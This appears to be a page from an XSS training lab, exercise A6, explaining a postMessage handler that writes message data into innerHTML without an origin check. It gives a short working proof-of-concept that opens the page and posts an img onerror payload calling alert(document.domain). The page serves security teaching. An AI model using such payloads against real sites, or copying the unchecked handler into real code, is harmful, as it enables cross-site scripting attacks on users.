A6 postMessage sink

Live notifications: (none)

This page does window.onmessage = e => msg.innerHTML = e.data with no origin check. From an attacker page:

w = window.open("/adv/postmessage");
setTimeout(()=>w.postMessage('<img src=x onerror=alert(document.domain)>','*'),800);

Or test from this tab's console: onmessage=... ; postMessage('<img src=x onerror=alert(document.domain)>','*').

RatXSS Dojo · HackXpert Coaching · The XSS Rat · authorized lab use only